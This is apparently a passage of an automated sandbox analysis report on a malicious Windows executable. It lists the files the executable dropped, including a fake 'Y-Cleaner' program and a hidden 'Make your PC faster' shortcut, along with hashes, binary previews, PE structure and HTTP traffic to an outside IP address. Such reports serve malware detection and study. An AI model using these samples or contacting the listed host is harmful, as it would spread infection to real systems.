SSDEEP:	48:cvIwWl8zskJg77aI9bgWpW8VYDiYm8M4JBRFj+q82+keXr+Rd:uIjfiI71Z7V6LJdezr+Rd
MD5:	0DB2DBB9EEB192444633082D176ED6E4
SHA1:	F8B624C01AA83D83F90F9A334078478D0A7BF38A
SHA-256:	B39360E0B8F3931056AE6B8EA53A55FD7DAF390115CC9484FF6F8A48259E0534
SHA-512:	471A092BAF3C9D6D57BF7ED8B987584EE1E7AD39B72B69A09A9593FFD39D267656FB9FEC09B8DC66517B3D8D2DF0270BAABAA1C7885C7F53C3F03EBF7F7F12E0
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="628752" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\add[1].htm

Process:	C:\Users\user\Desktop\file.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Reputation:	high, very likely benign file
Preview:	0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\dll[1]

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	242176
Entropy (8bit):	6.47050397947197
Encrypted:	false
SSDEEP:	6144:SIQpxILDXGGMO7Ice9C5kQw2hWHcHTykhb:SIQpxILDXGGlET9n/cHG
MD5:	2ECB51AB00C5F340380ECF849291DBCF
SHA1:	1A4DFFBCE2A4CE65495ED79EAB42A4DA3B660931
SHA-256:	F1B3E0F2750A9103E46A6A4A34F1CF9D17779725F98042CC2475EC66484801CF
SHA-512:	E241A48EAFCAF99187035F0870D24D74AE97FE84AAADD2591CCEEA9F64B8223D77CFB17A038A58EADD3B822C5201A6F7494F26EEA6F77D95F77F6C668D088E6B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 1%, Browse
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: Mk4JWS27SO.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Reputation:	high, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...Jl.X...........!..................... ........... ....................... ............@.....................................W.................................................................................... ............... ..H............text...4.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........`..4e...........U..............................................}.Y.y.=.{.X.x.=..r...p.o2....o...(3.....o2...}....:..s.....(...........2r...p(;...&Vr...p.....r...p.......(....>.........}.......(C.....o...(D...(E...}.....(F...(E...(G...&>.........}.......(C.....o...(D...}.....(F...(E...(H...&".......>.........}....R..} .....{ ...oo.....{ ..."..}!.....{!......}.....{#....{....op....{....,...{ ...oo.....{!...oo.....{....B.....su...(v.....{#....{#...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\download[1].htm

Process:	C:\Users\user\Desktop\file.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Preview:	0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\fuckingdllENCR[1].dll

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	97296
Entropy (8bit):	7.9982317718947025
Encrypted:	true
SSDEEP:	1536:A1FazaNKjs9ezO6kGnCRFVjltPjM9Ew1MhiIeJfZCQdOlnq32YTCUZiyAS3tUX9F:k4zaMjVUGCRzbgqw1MoIeJyQ4nyqX9F
MD5:	E6743949BBF24B39B25399CD7C5D3A2E
SHA1:	DBE84C91A9B0ACCD2C1C16D49B48FAEAEC830239
SHA-256:	A3B82FC46635A467CC8375D40DDBDDD71CAE3B7659D2BB5C3C4370930AE9468C
SHA-512:	3D50396CDF33F5C6522D4C485D96425C0DDB341DB9BD66C43EAE6D8617B26A4D9B4B9A5AEE0457A4F1EC6FAC3CB8208C562A479DCAE024A50143CBFA4E1F15F6
Malicious:	false
Preview:	XM .4Ih..]...t.&.s...v.0{.v.vs'...:.l.h...e.....R....1...r.R+Fk....~.s.....Q.....r.T.b.....~c..[........;...j.@.0.%.....x...v.w.....<ru....Yre;.b6...HQ-...8.B..Q.a...R.:.h&r.......=.;r.k..T.@....l..;#..3!.O..x.}........y'<.GfQ.K.#.L5v..].......d....N{e..@................A\..<.t.u.X.O.n..Z.. .Xb.O<.Z...h~.(.W.f.z.V.4..L...%5.0...H..`s...y.B......(IL5s:aS}X.......M9.J.o....).'..M;n6]...W..n....)...L...._..e.....>....[....RA.........'...6.N..g6....IY.%h.. 3r....^..\.b~y./....h.2......ZLk....u}..V..<.fbD.<!.._2.zo..IE...P..O...u......P.......w#.6N..&l.R}GI...LY...N.yz..j..Hy.'..._.5..Pd9.y..+....6.q...).G.c...L#....5\.M....5U])....U(..~H.m....Y....G1.r.4.B..h........P..]i...M%.............)q......]....~\|..j...b..K!..N.7R.}T.2bsq..1...L^..!.\|q.D'...s.Ln...D@..bn%0=b.Q1.....+l...QXO\|.......NC.d......{.0....8F.....<.W.y..{o..j.3.....n..4.....eS]. K...o.B.H~.sh.1....m8....6{.ls..R..q..~....w._;....X*.#..U....6n.ODbT.+Zc....q....S.$-S`YT....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\download[1].htm

Process:	C:\Users\user\Desktop\file.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Preview:	0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\key[1].htm

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	21
Entropy (8bit):	3.880179922675737
Encrypted:	false
SSDEEP:	3:gFsR0GOWW:gyRhI
MD5:	408E94319D97609B8E768415873D5A14
SHA1:	E1F56DE347505607893A0A1442B6F3659BEF79C4
SHA-256:	E29A4FD2CB1F367A743EA7CFD356DBD19AEB271523BBAE49D4F53257C3B0A78D
SHA-512:	994FA19673C6ADC2CC5EF31C6A5C323406BB351551219EE0EEDA4663EC32DAF2A1D14702472B5CF7B476809B088C85C5BE684916B73046DA0DF72236BC6F5608
Malicious:	false
Preview:	9tKiK3bsYm4fMuK47Pk3s

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\soft[1]

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1502720
Entropy (8bit):	7.646111739368707
Encrypted:	false
SSDEEP:	24576:7i4dHPD/8u4dJG/8yndSzGmTG2/mR2SGeYdc0GmTG2/mR6Trr2h60qP:7rPD/8I/8ly+Zrr2h60qP
MD5:	A8CF5621811F7FAC55CFE8CB3FA6B9F6
SHA1:	121356839E8138A03141F5F5856936A85BD2A474
SHA-256:	614A0362AB87CEE48D0935B5BB957D539BE1D94C6FDEB3FE42FAC4FBE182C10C
SHA-512:	4479D951435F222CA7306774002F030972C9F1715D6AAF512FCA9420DD79CB6D08240F80129F213851773290254BE34F0FF63C7B1F4D554A7DB5F84B69E84BDD
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 75%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: Mk4JWS27SO.exe, Detection: malicious, Browse Filename: BsVEQQnfyN.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..._............"...0..0...........O... ...`....@.. .......................@............`.................................LO..O....`...................... ......0O............................................... ............... ..H............text..../... ...0.................. ..`.rsrc.......`.......2..............@..@.reloc....... ......................@..B.................O......H.......h~...D......U... .................................................(......(.....~....-.r...p.....(....o....s.........~.....~...........j(....r=..p~....o....t....j(....rM..p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t.....~......(....Vs....(....t.........N.(.....(.....(........0..f.......(.........8M........o....9:....o.......o.......-a.{......<...%..o.....%.

C:\Users\user\AppData\Local\Temp\sNe4DJsADzufDFC4vD39\Bunifu_UI_v1.5.3.dll

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	242176
Entropy (8bit):	6.47050397947197
Encrypted:	false
SSDEEP:	6144:SIQpxILDXGGMO7Ice9C5kQw2hWHcHTykhb:SIQpxILDXGGlET9n/cHG
MD5:	2ECB51AB00C5F340380ECF849291DBCF
SHA1:	1A4DFFBCE2A4CE65495ED79EAB42A4DA3B660931
SHA-256:	F1B3E0F2750A9103E46A6A4A34F1CF9D17779725F98042CC2475EC66484801CF
SHA-512:	E241A48EAFCAF99187035F0870D24D74AE97FE84AAADD2591CCEEA9F64B8223D77CFB17A038A58EADD3B822C5201A6F7494F26EEA6F77D95F77F6C668D088E6B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...Jl.X...........!..................... ........... ....................... ............@.....................................W.................................................................................... ............... ..H............text...4.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........`..4e...........U..............................................}.Y.y.=.{.X.x.=..r...p.o2....o...(3.....o2...}....:..s.....(...........2r...p(;...&Vr...p.....r...p.......(....>.........}.......(C.....o...(D...(E...}.....(F...(E...(G...&>.........}.......(C.....o...(D...}.....(F...(E...(H...&".......>.........}....R..} .....{ ...oo.....{ ..."..}!.....{!......}.....{#....{....op....{....,...{ ...oo.....{!...oo.....{....B.....su...(v.....{#....{#...

C:\Users\user\AppData\Local\Temp\sNe4DJsADzufDFC4vD39\Y-Cleaner.exe

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1502720
Entropy (8bit):	7.646111739368707
Encrypted:	false
SSDEEP:	24576:7i4dHPD/8u4dJG/8yndSzGmTG2/mR2SGeYdc0GmTG2/mR6Trr2h60qP:7rPD/8I/8ly+Zrr2h60qP
MD5:	A8CF5621811F7FAC55CFE8CB3FA6B9F6
SHA1:	121356839E8138A03141F5F5856936A85BD2A474
SHA-256:	614A0362AB87CEE48D0935B5BB957D539BE1D94C6FDEB3FE42FAC4FBE182C10C
SHA-512:	4479D951435F222CA7306774002F030972C9F1715D6AAF512FCA9420DD79CB6D08240F80129F213851773290254BE34F0FF63C7B1F4D554A7DB5F84B69E84BDD
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 75%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..._............"...0..0...........O... ...`....@.. .......................@............`.................................LO..O....`...................... ......0O............................................... ............... ..H............text..../... ...0.................. ..`.rsrc.......`.......2..............@..@.reloc....... ......................@..B.................O......H.......h~...D......U... .................................................(......(.....~....-.r...p.....(....o....s.........~.....~...........j(....r=..p~....o....t....j(....rM..p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t.....~......(....Vs....(....t.........N.(.....(.....(........0..f.......(.........8M........o....9:....o.......o.......-a.{......<...%..o.....%.

C:\Users\user\Desktop\Cleaner.lnk

Process:	C:\Users\user\Desktop\file.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Icon number=0, Archive, ctime=Thu Dec 12 23:09:50 2024, mtime=Thu Dec 12 23:09:50 2024, atime=Thu Dec 12 23:09:50 2024, length=1502720, window=hide
Category:	dropped
Size (bytes):	2177
Entropy (8bit):	3.822918947853309
Encrypted:	false
SSDEEP:	48:8lC62gN7RiN6Rz0WRkMw8vNCRz0WRT9Rz0WRVZKqRz0WRWyF:8bNVC6uWOYNbWuW4WQy
MD5:	11375F8C78D21AFAD4C3F8E258622144
SHA1:	A7233A890363348B48310FB4059B2D0DD22A0CF0
SHA-256:	C047CBD33627F16B43DA309F7186BB53AF794CDEA8AADF90CA1CA5F232BC28EC
SHA-512:	38C88D9F34E8F777F3F81F411FFC9B0F856008F19CA83C89CA0CF475EB86E192ADEDDFCCEE4C4FFE0A94F59B81638AB645C3D1940C2E6A4E6E438732D1BA78DC
Malicious:	false
Preview:	L..................F.@.. ....u.T.L...u.T.L...u.T.L..........................6.:..DG..Yr?.D..U..k0.&...&......vk.v.....tn4.L...`)T.L......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.Y.............................%..A.p.p.D.a.t.a...B.P.1......Y....Local.<......CW.^.Y!.....b......................q..L.o.c.a.l.....N.1......Y"...Temp..:......CW.^.Y".....l......................*..T.e.m.p.....r.1......Y7...SNE4DJ~1..Z......Y7..Y7.....].......................I.s.N.e.4.D.J.s.A.D.z.u.f.D.F.C.4.v.D.3.9.....h.2......Y:. .Y-CLEA~1.EXE..L......Y:..Y:.....n.........................Y.-.C.l.e.a.n.e.r...e.x.e.......s...............-.......r...........d..\|.....C:\Users\user\AppData\Local\Temp\sNe4DJsADzufDFC4vD39\Y-Cleaner.exe....M.a.k.e. .y.o.u.r. .P.C. .f.a.s.t.e.r.8.....\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.s.N.e.4.D.J.s.A.D.z.u.f.D.F.C.4.v.D.3.9.\.Y.-.C.l.e.a.n.e.r...e.x.e.D.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.s.N.e.4.D.J.s.A.D

C:\Windows\appcompat\Programs\Amcache.hve

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.4652411995110395
Encrypted:	false
SSDEEP:	6144:ZIXfpi67eLPU9skLmb0b4+WSPKaJG8nAgejZMMhA2gX4WABl0uNPdwBCswSbM:qXD94+WlLZMM6YFH1+M
MD5:	DB0729FBCD32252DC7465159FAEFDA5B
SHA1:	44ECF71D292C978A71D1E04A960EAE39E6D8BCC8
SHA-256:	FCF49F8C1DE15D047E8D2CD5FEE0C4F52CC9429918923DC6F3C20D1816901C7C
SHA-512:	B7684B00B1BFCA1B1EB2CA9B513D95FBEE2944CD625655C0805A35062522641CC23095D7628D253F0525188EC89D5AADC6B09C74899BFD59AE41B614AE93D380
Malicious:	false
Preview:	regf6...6....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.IsT.L...............................................................................................................................................................................................................................................................................................................................................d`........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.934194561528697
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'994'240 bytes
MD5:	0a2e0cf36cb5586fb3ecff4872b27b9d
SHA1:	b8ab43272fbbad21c1985ee536ecd5ccbdc0a761
SHA256:	417e7e396fbadbf07bf6952dbd3c0b6b496bc18871047645879db777552552b1
SHA512:	54f788a088be98537649567c9c9c1c13fb148502900862832b91438a4e0ea1cfab5d8c465834059556f2799d83390ef2bc07efa6c3a63b225484528c2e85eedf
SSDEEP:	49152:KCQD+j4yNBpD4yejjTxNgNYtBdt8Z3ry8JE2Kt7VHNDc:9iC1UjjTxSNYXEZbzE2KXHd
TLSH:	F995339BEA920D5CF0375FB3D62A9DFCA215D234C42C72624740D6CF9DE21629BC25B2
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........!J..@$..@$..@$......@$......@$......@$..._..@$..@%..@$......@$......@$......@$.Rich.@$.........PE..L......d...................

File Icon


Icon Hash:	c7a99a8aa651798c

Static PE Info

General

Entrypoint:	0xc7a000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x64DDDE0C [Thu Aug 17 08:45:00 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FB49582F90Ah
cmovl ebx, dword ptr [esi]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2008 build 21022
[ASM] VS2008 build 21022
[ C ] VS2008 build 21022
[IMP] VS2005 build 50727
[RES] VS2008 build 21022
[LNK] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x42105a	0x6e	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x40e000	0x12168	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x86db70	0x18	ydbpfsba
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x40d000	0x25400	76598556e7dfa7a69b786e6918b39e1f	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x40e000	0x12168	0x9400	6a704e797c2c8cfed22f3e79af1f2510	False	0.9628378378378378	data	7.8827344877028676	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x421000	0x1000	0x200	de906030ab088402d586a76aa6666758	False	0.15234375	data	1.0884795995201089	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x422000	0x2a2000	0x200	9ad0e85a9c017c1b3ddf1ea4f3678d86	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ydbpfsba	0x6c4000	0x1b5000	0x1b4a00	736efb8e30bc5a7ed8e8e7e5cc552871	False	0.9849990158889207	data	7.941997976065916	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
qxyxlwfa	0x879000	0x1000	0x600	ed50996a3ee32497fef3ccdda0f86168	False	0.6321614583333334	data	5.36928483658638	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x87a000	0x3000	0x2200	04f87b3f674ecb8947d604f744d34f72	False	0.006433823529411764	DOS executable (COM)	0.019571456231530684	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0x40e730	0x130	data			1.0361842105263157
RT_CURSOR	0x40e860	0x25a8	data			1.0011410788381743
RT_CURSOR	0x410e08	0xea8	data			1.0029317697228144
RT_ICON	0x86dbd0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Syriac	Syriac	0.3648720682302772
RT_ICON	0x86ea78	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Syriac	Syriac	0.5063176895306859
RT_ICON	0x86f320	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Syriac	Syriac	0.5881336405529954
RT_ICON	0x86f9e8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Syriac	Syriac	0.619942196531792
RT_ICON	0x86ff50	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Syriac	Syriac	0.3574108818011257
RT_ICON	0x870ff8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Syriac	Syriac	0.3536885245901639
RT_ICON	0x871980	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Syriac	Syriac	0.40425531914893614
RT_ICON	0x871de8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Syriac	Syriac	0.7969083155650319
RT_ICON	0x872c90	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Syriac	Syriac	0.8032490974729242
RT_ICON	0x873538	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Syriac	Syriac	0.7350230414746544
RT_ICON	0x873c00	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Syriac	Syriac	0.7774566473988439
RT_ICON	0x874168	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	Syriac	Syriac	0.6827800829875519
RT_ICON	0x876710	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	Syriac	Syriac	0.7293621013133208
RT_ICON	0x8777b8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304	Syriac	Syriac	0.7594262295081967
RT_ICON	0x878140	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	Syriac	Syriac	0.8111702127659575
RT_DIALOG	0x41c688	0x84	empty			0
RT_STRING	0x41c70c	0x4be	empty			0
RT_STRING	0x41cbcc	0xc4	empty			0
RT_STRING	0x41cc90	0x732	empty			0
RT_STRING	0x41d3c4	0x7bc	empty			0
RT_STRING	0x41db80	0x5f0	empty			0
RT_STRING	0x41e170	0x696	empty			0
RT_STRING	0x41e808	0x7c0	empty			0
RT_STRING	0x41efc8	0x76a	empty			0
RT_STRING	0x41f734	0x610	empty			0
RT_GROUP_CURSOR	0x41fd44	0x22	empty			0
RT_GROUP_CURSOR	0x41fd68	0x14	empty			0
RT_GROUP_ICON	0x8785a8	0x76	data	Syriac	Syriac	0.6779661016949152
RT_GROUP_ICON	0x87861e	0x68	data	Syriac	Syriac	0.7115384615384616
RT_VERSION	0x878686	0x1b8	COM executable for DOS			0.5704545454545454
RT_MANIFEST	0x87883e	0x152	ASCII text, with CRLF line terminators			0.6479289940828402

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
Syriac	Syriac

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 13, 2024 01:09:14.367031097 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:14.487063885 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:14.487195969 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:14.487400055 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:14.607353926 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:15.862683058 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:15.862946987 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:15.876837015 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:15.996666908 CET	80	49731	80.82.65.70	192.168.2.4
